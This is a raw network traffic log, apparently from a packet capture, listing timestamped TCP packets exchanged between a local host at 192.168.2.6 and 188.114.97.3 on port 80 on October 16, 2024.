                                                                                    Oct 16, 2024 10:58:23.083430052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083441019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083471060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083487034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083507061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083517075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083529949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083539963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083544016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083558083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083564043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083575010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083575010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083586931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083597898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083601952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083625078 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083631992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083647966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083647966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083662033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083673000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083673000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083683014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083703995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083780050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083791971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083801985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083811998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083822966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083827019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083833933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083842993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083848953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083853960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083861113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083872080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083878994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083885908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083893061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083915949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083918095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083930016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083940029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083947897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083952904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083961010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083971977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083972931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083981991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083982944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.083996058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.083997965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084008932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084008932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084021091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084023952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084037066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084043026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084048986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084059954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084067106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084078074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084088087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084089041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084104061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084110022 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084131956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084151983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084173918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084184885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084194899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084212065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084219933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084223986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084235907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084242105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084248066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084255934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084259987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084276915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084280968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084285975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084304094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084326029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084371090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084383965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084393978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084404945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084412098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084415913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084428072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084431887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084439993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084450960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084455967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084462881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084470987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084475040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084486008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084487915 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084497929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084515095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084527016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084528923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.084538937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.084577084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.085083008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085119963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085129023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085200071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085211039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085220098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.085231066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.085259914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.143806934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.143819094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.143830061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.143840075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.143851042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.143946886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.143946886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.144007921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144020081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144032955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144042969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144052982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144061089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.144072056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144079924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.144085884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144097090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144100904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.144109964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144120932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.144130945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.144166946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.178823948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.178880930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.178982973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.178992987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.179004908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.179030895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.179064989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.195832968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195842028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195857048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195868015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195877075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195885897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.195890903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.195935011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200064898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200074911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200083971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200110912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200120926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200123072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200134039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200145006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200156927 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200184107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200184107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200217009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200227976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200237036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200246096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200256109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200265884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200289011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200314045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200361967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200376034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200386047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200393915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200403929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200404882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200413942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200423002 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200427055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200450897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200472116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200499058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200508118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200516939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200525999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200536966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200542927 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200546980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200557947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200562954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200567961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200583935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200587034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200602055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200613976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200625896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200640917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200649977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200659037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200664043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200670004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200675964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200680017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200694084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200719118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200750113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200761080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200769901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200778961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200799942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200815916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200855017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200865030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200881004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200890064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200896025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200900078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200908899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200918913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200921059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200930119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200942993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200956106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200962067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.200967073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200977087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200987101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.200997114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201001883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201005936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201014996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201021910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201033115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201041937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201045990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201066017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201066971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201078892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201088905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201091051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201098919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201109886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201144934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201144934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201144934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201153040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201164007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201173067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201181889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201190948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201214075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201344967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201354980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201364994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201380014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201405048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201414108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201426029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201438904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201447010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201448917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201458931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201473951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201498032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201571941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201611996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201617956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201627970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201662064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201678991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201689959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201700926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201709986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201719046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.201725960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201742887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.201756954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.202171087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202183962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202193975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202203989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202223063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.202246904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.202259064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202301979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202306032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.202312946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.202338934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.202357054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261094093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261106014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261116028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261130095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261141062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261151075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261200905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261200905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261348009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261385918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261389017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261399031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261425972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261451960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261466026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261476040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261485100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261511087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261518955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261528015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261538029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261540890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261540890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261552095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.261564016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.261594057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.296057940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.296072006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.296082020 CEST8049802188.114.97.3192.168.2.6
